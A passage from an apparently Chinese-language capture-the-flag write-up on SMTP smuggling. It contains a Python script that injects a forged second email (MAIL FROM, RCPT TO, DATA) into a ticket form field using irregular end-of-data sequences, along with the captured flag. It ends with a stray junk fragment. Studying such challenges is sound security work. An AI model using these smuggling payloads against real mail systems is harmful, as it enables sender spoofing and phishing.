'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456"
}
)

time.sleep(2)
print(requests.get(
"http://127.0.0.1:44622/check_response/22970371-64b2-484f-be43-d46c21093943"
).text)

uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}
这里注意一下注入的点

1
'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456"

这是符合完整SMIP的格式,即注入的第二篇邮件应该符合格式,否则

1
2
3
4
5
6
7
8
9
10
message = (
"Abc123" +
variant +
"From: leadership@blackholeticketing.com\r\n"
"Subject: injected\r\n"
f"X-Ticket-ID: {ticket_id}\r\n"
"\r\n"
"Def456\r\n"
".\r\n"
)

这个行不通滴
原本脚本稍微改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import time
import uuid

BASE_URL = "http://127.0.0.1:44622" # 你的 Flask 服务地址

variants = [
"\r\n.\r\n", # 标准
"\n.\r\n", # 混合
"\r.\n", # 罕见
"\n.\n",
"\n\n.\r\n" # 非规范
]

def run_test(variant):
ticket_id = str(uuid.uuid4())

message = (
"Abc123"+
variant +
"MAIL FROM: <support@blackholeticketing.com>\r\n"
"RCPT TO: <it@blackholeticketing.com>\r\nDATA\r\n"
"From: leadership@blackholeticketing.com\r\n"
"To: it@blackholeticketing.com\r\n"
"Subject: injected\r\n"
f"X-Ticket-ID: {ticket_id}\r\n"
"\r\n"
"Def456"
)

print(f"\n[+] Testing variant {repr(variant)} ticket={ticket_id}")

# 只传 subject 和 message
r = requests.post(f"{BASE_URL}/submit_ticket", data={
"subject": "smuggle-test",
"message": message
})
print("[>] Submit:", r.status_code)

time.sleep(1)

r2 = requests.get(f"{BASE_URL}/check_response/{ticket_id}")
print("[>] Check response:", r2.text)


if __name__ == "__main__":
for v in variants:
run_test(v)

发现\n\n.\r\n和\n.\r\n都成功了~

1
2
3
4
5
import os
a=asdsad
asdsad